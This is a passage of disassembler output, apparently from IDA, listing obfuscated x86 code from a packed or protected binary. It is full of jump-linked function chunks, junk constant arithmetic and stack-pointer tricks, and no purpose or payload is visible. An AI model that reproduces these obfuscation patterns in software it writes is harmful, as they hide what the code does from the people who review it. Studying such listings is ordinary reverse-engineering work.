FUNCTION CHUNK AT 005A7470 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A77F3 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A7C6C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A7DBE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A7F27 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005A7F7A SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005A80F6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A815D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A81DF SIZE 00000036 BYTES ; FUNCTION CHUNK AT 005A8274 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A82FC SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005A8563 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 005A89F9 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A8A7A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A8C43 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A8F47 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A8FB5 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005A9235 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A966F SIZE 00000041 BYTES ; FUNCTION CHUNK AT 005A991E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A99AD SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A9A4A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A9A84 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A9CCF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A9D54 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A9DBC SIZE 00000024 BYTES ; FUNCTION CHUNK AT 005A9E1E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AA006 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005AA374 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AA705 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AA768 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AA9C3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AAE1F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AAEAC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005AB120 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AB27B SIZE 00000056 BYTES ; FUNCTION CHUNK AT 005AB75B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AB788 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AB7DE SIZE 00000047 BYTES ; FUNCTION CHUNK AT 005AB948 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005ABA61 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005ABAF0 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005ABD6E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005AC040 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 005AC1E7 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AC342 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AC461 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AC4E7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AC545 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AC757 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005ACA7D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005ACC4A SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005ACCBF SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005ACD3D SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005AD54F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AD6BD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AD73A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AD751 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005ADAFE SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005ADDB8 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005ADDDA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005ADEA3 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 005ADF08 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005ADF77 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AE02F SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005AE237 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AE3E8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AE7C3 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005AEC90 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005AEDB7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AEE1B SIZE 00000047 BYTES ; FUNCTION CHUNK AT 005AEE7F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AEE9A SIZE 00000051 BYTES ; FUNCTION CHUNK AT 005AF08C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AF155 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AF273 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005AF2ED SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005AF568 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AF637 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005AF75A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AF917 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005AFA0C SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005AFB85 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005AFF33 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AFFBB SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005B01BA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005B01E0 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005B0208 SIZE 00000010 BYTES push ebx mov ebx, 4 jmp loc_59AB62 sub_5992DA endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_5992E5: ; CODE XREF: sdfs____:005ABF7Aj sub [esp+8], esi sub dword ptr [esp+8], 30CE1F16h pop esi sub [esp+4], ecx add dword ptr [esp+4], 66672230h jmp loc_5A59C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A600D loc_599303: ; CODE XREF: sub_5A600D-9165j push edx push ebx jmp loc_59C851 ; --------------------------------------------------------------------------- loc_59930A: ; CODE XREF: sub_5A600D+3AD1j mov ah, 35h sub ah, 0BFh neg ah jmp loc_59E470 ; END OF FUNCTION CHUNK FOR sub_5A600D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B3C9 loc_599316: ; CODE XREF: sub_59B3C9+5E96j xor ebx, [esp+0Ch+var_C] xor [esp+0Ch+var_C], ebx xor ebx, [esp+0Ch+var_C] pop esp push eax push 2424h mov [esp+10h+var_10], esp add [esp+10h+var_10], 4 push [esp+10h+var_10] mov eax, [esp+14h+var_14] push edi jmp loc_5A1E73 ; END OF FUNCTION CHUNK FOR sub_59B3C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_59933C: ; CODE XREF: sub_5A16B8-2572j neg edx sub edx, 78228515h add ebx, edx pop edx push ecx jmp loc_5A65B3 ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A61 loc_59934D: ; CODE XREF: sub_599A61+9F5Bj pop edx jmp sub_5A2166 ; END OF FUNCTION CHUNK FOR sub_599A61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_599353: ; CODE XREF: sub_5AA2D1-D32Aj pop ecx dec ecx jle loc_5A82CE jmp loc_5A12D6 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_599360 proc near ; CODE XREF: sub_5A2E28+9C66j ; DATA XREF: sdfs____:00598F1Co push dword ptr [edi+1Ch] popf pop ax adc [esp+0], ax pushf jmp loc_59910F sub_599360 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_599370: ; CODE XREF: sub_5A0FFF+E524j shr eax, 8 xor eax, ecx sub esp, 4 mov [esp+4+var_4], eax push edx push [esp+8+var_4] pop edx pop [esp+8+var_8] sub esp, 4 mov [esp+8+var_8], edx xchg edx, [esp+8+var_8] jmp loc_59F5EE ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F3B6 loc_599392: ; CODE XREF: sub_59F3B6+5898j add esi, edx pop edx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+0] pop esp mov [esp-4+arg_0], esi push [esp-4+arg_4] mov esi, [esp+0] add esp, 4 pop [esp-4+arg_0] mov esp, [esp-8+arg_4] push ecx sub esp, 4 mov [esp+0], eax jmp sub_599CC6 ; END OF FUNCTION CHUNK FOR sub_59F3B6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5993C7: ; CODE XREF: sub_5A416F-5E6Ej ; sub_5992DA+A23Bj shl ebp, 1 or ebp, 341212B4h push ebx mov ebx, 565F67CEh xor ebx, 366A7A50h xor ebp, ebx pop ebx sub ebp, 0D799D508h jmp loc_5ADF77 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD13 loc_5993E9: ; CODE XREF: sub_5ADD13+1553j pop eax add ebx, 2 xchg ebx, [esp-4+arg_0] pop esp mov ax, word ptr [esp-8+arg_4] push ebp push esp jmp loc_5A2C7E ; END OF FUNCTION CHUNK FOR sub_5ADD13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A405F loc_5993FC: ; CODE XREF: sub_5A405F-9D14j add esp, 4 push esi push 2 jmp loc_5A2878 ; END OF FUNCTION CHUNK FOR sub_5A405F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB622 loc_59940D: ; CODE XREF: sub_5AB622-D393j and ebx, 69EB552Ch shl ebx, 2 sub ebx, 1 sub ebx, 2000048Bh add edi, 70D85396h add edi, ebx sub esp, 4 mov [esp+4+var_4], esi mov esi, 594D7ADAh push eax mov eax, 46C23BFAh shr eax, 8 dec eax sub eax, 88D57028h xor esi, eax pop eax not esi jmp loc_59C20E ; END OF FUNCTION CHUNK FOR sub_5AB622 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59944E: ; CODE XREF: sub_59AD4D+Bj ; sub_5AA2D1+54F8j sub edi, 424A1BCBh jmp loc_5A1F21 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_599459: ; CODE XREF: sub_5992DA+9E0Cj and eax, 415E0398h sub eax, 6E194F8Bh push esi push eax jmp loc_5A6B45 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_59946A: ; CODE XREF: sub_5A9EC5-CB76j add esp, 4 add ch, al jmp loc_5A1EAA ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_599477: ; CODE XREF: sub_5AA2D1-6F5Bj pop ecx sub dh, al sub dh, 0D0h jmp loc_59D2A7 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_599482: ; CODE XREF: sub_5992DA+16EE5j add edi, ebx pop ebx add edi, esi sub edi, 5B1309CAh mov esi, [esp+0Ch+var_C] add esp, 4 sub edi, 214A2770h sub edi, eax add edi, 214A2770h push ebx mov ebx, 1C515E11h add ebx, 0FFFFFFFFh push ebp mov ebp, 1D7276ADh add ebp, 0CE3665BCh add ebx, ebp pop ebp sub edi, ebx mov ebx, [esp+0Ch+var_C] jmp loc_5A41A4 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD243 loc_5994C3: ; CODE XREF: sub_5AD243-6FB1j dec eax jno loc_5AB902 dec eax add eax, 5BFF4F35h jmp loc_5A3B6F ; END OF FUNCTION CHUNK FOR sub_5AD243 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF533 loc_5994D5: ; CODE XREF: sdfs____:0059C598j ; sub_5AF533+Fj mov edi, ebx mov eax, edi mov edi, [esp+0] add esp, 4 pop ebx add ebx, eax pop eax add ebx, 4 xor ebx, [esp-0Ch+arg_8] xor [esp-0Ch+arg_8], ebx jmp loc_59BF74 ; END OF FUNCTION CHUNK FOR sub_5AF533 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A809B loc_5994F7: ; CODE XREF: sub_5A809B-B47Fj xor ebx, eax mov eax, [esp+0] add esp, 4 add [esp-8+arg_4], ebx pop ebx jmp loc_5AC8BC ; END OF FUNCTION CHUNK FOR sub_5A809B ; =============== S U B R O U T I N E ======================================= sub_599509 proc near ; CODE XREF: sub_59C979:loc_5A92B2j ; sub_5992DA+1142Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 ; FUNCTION CHUNK AT 0059A2B8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059DBA3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059DD54 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059E0A3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AAEDC SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AB007 SIZE 00000011 BYTES sub esp, 4 mov [esp+4+var_4], edx mov edx, 2 add ecx, edx mov edx, [esp+4+var_4] add esp, 4 push 51C6h jmp loc_59DBA3 sub_599509 endp ; --------------------------------------------------------------------------- loc_599526: ; CODE XREF: sdfs____:005995E6j mov ebp, 4 add [esp+4], ebp pop ebp jmp loc_5A1EC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_599535: ; CODE XREF: sub_5AD795-10BD6j mov [esp+0], edx jmp loc_5A5BF7 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59953D: ; CODE XREF: sub_5AA2D1+29B3j and eax, edx mov edx, [esp-18h+arg_14] add esp, 4 or eax, eax jz loc_59E642 push dword ptr [edi+28h] push [esp-18h+arg_14] push [esp-14h+arg_10] pop eax add esp, 4 push esi mov esi, esp push 102Bh mov [esp-10h+arg_C], ecx mov ecx, 4 add esi, ecx mov ecx, [esp-10h+arg_C] jmp sub_5AE40A ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_599574 proc near ; DATA XREF: sdfs____:00598EE4o var_8 = dword ptr -8 var_4 = dword ptr -4 push dword ptr [esp+0] push [esp+4+var_4] mov edx, [esp+8+var_8] jmp sub_599F50 sub_599574 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_599582: ; CODE XREF: sub_59C979+CD53j not bh add bh, 0EEh jmp loc_599F29 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_59958C: ; CODE XREF: sub_59A26C+5722j ; sub_5AF294-5CDBj mov ebp, edi pop edi sub ebp, edi pop edi jmp loc_5A9521 ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_599597: ; CODE XREF: sdfs____:005AB046j ; sub_5ADD33+FFDj sub eax, 58F71C6Dh jmp loc_5A6B51 ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5995A1: ; CODE XREF: sub_5A477C-654Aj ; sub_5AA810-6586j shl edi, 4 shl edi, 7 sub edi, 509607FCh add edx, edi pop edi sub edx, 4 xchg edx, [esp-4+arg_0] pop esp mov [esp-8+arg_4], eax jmp loc_59E88F ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A18F6 loc_5995C2: ; CODE XREF: sub_5A18F6+8FFFj push esp pop edx push edi mov edi, 4865641Eh not edi jmp loc_5A09CB ; END OF FUNCTION CHUNK FOR sub_5A18F6 ; --------------------------------------------------------------------------- mov cx, [esp] push 6636h mov [esp], esi push 69FAh mov [esp], esp push ebp jmp loc_599526 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A96D8 loc_5995EB: ; CODE XREF: sub_5A96D8-9F2Bj mov esi, 793B32FBh xchg edi, esi not edi xchg edi, esi neg esi xor esi, 793B32F8h add ebp, esi pop esi xor ebp, [esp+4+var_4] xor [esp+4+var_4], ebp xor ebp, [esp+4+var_4] pop esp push ebx mov ebx, esp push esi push 4 pop esi jmp loc_5ACA9E ; END OF FUNCTION CHUNK FOR sub_5A96D8 ; =============== S U B R O U T I N E ======================================= sub_59961A proc near ; DATA XREF: sdfs____:00599004o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00599A7B SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0059A2AA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059C07C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059DE8A SIZE 0000000B BYTES lodsd sub esp, 4 mov [esp+4+var_4], ecx push ebp mov ebp, 3C2054D1h sub ebp, 0EEF8DCCEh mov ecx, ebp pop ebp push 30D0h mov [esp+8+var_8], esi mov esi, 22802845h push ecx push esi mov esi, 6C406510h jmp loc_59C07C sub_59961A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_599649: ; CODE XREF: sub_5AA2D1+279Bj push edi mov edi, 4 add ecx, edi jmp loc_599CCD ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD84A loc_599656: ; CODE XREF: sub_5AD84A+12B6j mov esp, [esp+0] jmp loc_5AE58B ; END OF FUNCTION CHUNK FOR sub_5AD84A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59965E: ; CODE XREF: sub_5AA2D1+5736j pop ecx jmp sub_5A5824 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_599664 proc near ; CODE XREF: sub_59C979+9EE8j var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = word ptr 4 arg_2 = word ptr 6 arg_6 = word ptr 0Ah ; FUNCTION CHUNK AT 0059BBB7 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059C8BB SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005A88ED SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005AA8FA SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005AB9E6 SIZE 0000000D BYTES push bx push small word ptr [esp+2] pop bx jmp loc_5AA8FA sub_599664 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_599672: ; CODE XREF: sub_59EE3E:loc_5AAE97j dec esi sub esi, 11EF3B85h shl esi, 4 jmp loc_599854 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9CAE loc_599681: ; CODE XREF: sub_5A9CAE-5j mov [esp+0], eax jmp loc_5A16D5 ; END OF FUNCTION CHUNK FOR sub_5A9CAE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F2D1 loc_599689: ; CODE XREF: sub_59F2D1+810Ej pop edx jmp loc_59C9C6 ; END OF FUNCTION CHUNK FOR sub_59F2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_59968F: ; CODE XREF: sub_5A9EBF-58C2j xor eax, 5092D7E4h mov ebp, eax pop eax jmp loc_59AF45 ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59969C: ; CODE XREF: sub_5AA2D1+40F1j add esp, 4 add ecx, 4 add ecx, 4 xchg ecx, [esp-14h+arg_10] pop esp jmp loc_5A66A4 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5996B1: ; CODE XREF: sub_5A7BA0+8450j add edx, ecx sub edx, 383615C4h pop ecx push esi mov esi, 4 jmp loc_5A6E0F ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5996C5: ; CODE XREF: sub_5992DA+325Dj mov ax, word ptr [esp+0Ch+var_C] jmp sub_5ABE0D ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3E64 loc_5996CE: ; CODE XREF: sub_5A3E64+5CEFj pop esp mov [esp-4+arg_0], ecx mov ch, dl jmp loc_5AECD2 ; END OF FUNCTION CHUNK FOR sub_5A3E64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5996D9: ; CODE XREF: sub_5992DA+10B46j sub bl, dh mov dx, word ptr [esp+0Ch+var_C] jmp loc_5AD6BD ; END OF FUNCTION CHUNK FOR sub_5992DA ; =============== S U B R O U T I N E ======================================= sub_5996E4 proc near ; CODE XREF: sub_5A63DC-2326j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005991F8 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00599D9C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059B840 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059F715 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A28F1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A4D20 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A56E6 SIZE 0000004F BYTES ; FUNCTION CHUNK AT 005A6B99 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A82D3 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 005A8B19 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A8FD1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A9614 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005AB702 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005AC1C6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005AFA31 SIZE 00000008 BYTES sub esp, 4 jmp loc_5AFA31 sub_5996E4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5996EC: ; CODE XREF: sub_5992DA+585Aj pop esp and eax, edx push dword ptr [esp+0] pop edx push 646Fh mov [esp+0Ch+var_C], ebp push 0C86h mov [esp+10h+var_10], esp add [esp+10h+var_10], 4 mov ebp, [esp+10h+var_10] add esp, 4 push 4F07h mov [esp+10h+var_10], edx sub esp, 4 mov [esp+14h+var_14], ebp mov ebp, 6D4948h push ebp mov ebp, 2FD339D1h shr ebp, 5 inc ebp inc ebp shl ebp, 7 jmp loc_5ADF08 ; END OF FUNCTION CHUNK FOR sub_5992DA ; =============== S U B R O U T I N E ======================================= sub_599739 proc near ; DATA XREF: sdfs____:00598E60o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 push small 4057h push small 1165h mov [esp+4+var_4], sp add [esp+4+var_4], 2 pop small [esp+4+var_4] push bx sub esp, 4 mov [esp+8+var_8], ebp push 723Ch mov [esp+0Ch+var_C], esi mov si, 6A01h mov bp, 3669h inc bp sub bp, 7C6Eh not bp xor bp, 0D8FDh push edi mov di, 7C3Ah or di, 2C34h not di shr di, 1 shr di, 8 jmp loc_5ACE00 sub_599739 endp ; --------------------------------------------------------------------------- loc_599792: ; CODE XREF: sdfs____:005A9F15j popa jmp locret_59DC42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_599798: ; CODE XREF: sub_59EE3E+169Ej sub edx, 60DC5EBFh mov esi, edx mov edx, [esp+0] jmp loc_5992C7 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; =============== S U B R O U T I N E ======================================= sub_5997A8 proc near ; DATA XREF: sdfs____:00598FF0o ; FUNCTION CHUNK AT 0059EE2F SIZE 00000005 BYTES mov sp, [esp+0] jmp loc_59EE2F sub_5997A8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_5997B1: ; CODE XREF: sub_59A7E7+D9F3j add esp, 4 push ecx mov ch, 46h push ebx jmp loc_59AA81 ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FB1A loc_5997BD: ; CODE XREF: sub_59FB1A-273Dj sub cl, 93h jmp loc_5AB825 ; END OF FUNCTION CHUNK FOR sub_59FB1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D64 loc_5997C5: ; CODE XREF: sub_5A9D64-9090j push 4 jmp loc_59D475 ; END OF FUNCTION CHUNK FOR sub_5A9D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5997CF: ; CODE XREF: sub_5AA2D1-1100Fj mov eax, 3C6D144Bh and eax, 75E51675h jmp loc_5A9079 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D37E loc_5997DE: ; CODE XREF: sub_59D37E+Ej jmp loc_59F499 ; END OF FUNCTION CHUNK FOR sub_59D37E ; --------------------------------------------------------------------------- loc_5997E3: ; CODE XREF: sdfs____:005ACDB5j mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push esi push ebx jmp loc_59C272 ; =============== S U B R O U T I N E ======================================= sub_5997FD proc near ; CODE XREF: sub_59CBE1+A85Fj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059B157 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059B942 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059E051 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A8BC8 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005AE51F SIZE 0000001A BYTES sub esp, 4 mov [esp+4+var_4], ebp mov ebp, 2A8E4355h jmp loc_59E051 sub_5997FD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD993 loc_59980D: ; CODE XREF: sub_5AD993-7C1Fj add bh, 0EDh mov ah, bh pop ebx xor ah, cl pop ecx jmp loc_5AECDC ; END OF FUNCTION CHUNK FOR sub_5AD993 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599117 loc_59981B: ; CODE XREF: sub_599117+7D20j xor ebx, 4221745h jbe loc_5A53BD jmp loc_5A9A9A ; END OF FUNCTION CHUNK FOR sub_599117 ; =============== S U B R O U T I N E ======================================= sub_59982C proc near ; CODE XREF: sub_59BAD3+B632j var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A030D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A0458 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005A0E84 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A1964 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A5473 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 005AEDE2 SIZE 00000012 BYTES sub esp, 4 mov [esp+4+var_4], ecx jmp loc_5A030D sub_59982C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59983A: ; CODE XREF: sub_59D6B8+130Bj or ecx, 1FCE5B53h push ebx mov ebx, 64BE32B9h shl ebx, 8 sub ebx, 4B9469DAh jmp loc_59BB9D ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_599854: ; CODE XREF: sub_59EE3E-57C2j jmp loc_59B9B2 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; =============== S U B R O U T I N E ======================================= sub_599859 proc near ; DATA XREF: sdfs____:00598F84o neg dword ptr [esp+0] pushf jmp loc_59910F sub_599859 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B0377 loc_599862: ; CODE XREF: sub_5B0377-13F90j add ebx, 0A6ECEE67h sub edi, ebx pop ebx xor ecx, edi jmp loc_59FDD2 ; END OF FUNCTION CHUNK FOR sub_5B0377 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB207 loc_599872: ; CODE XREF: sub_5AB207-B699j xchg esi, [esp+0] jmp loc_59DDE9 ; END OF FUNCTION CHUNK FOR sub_5AB207 ; 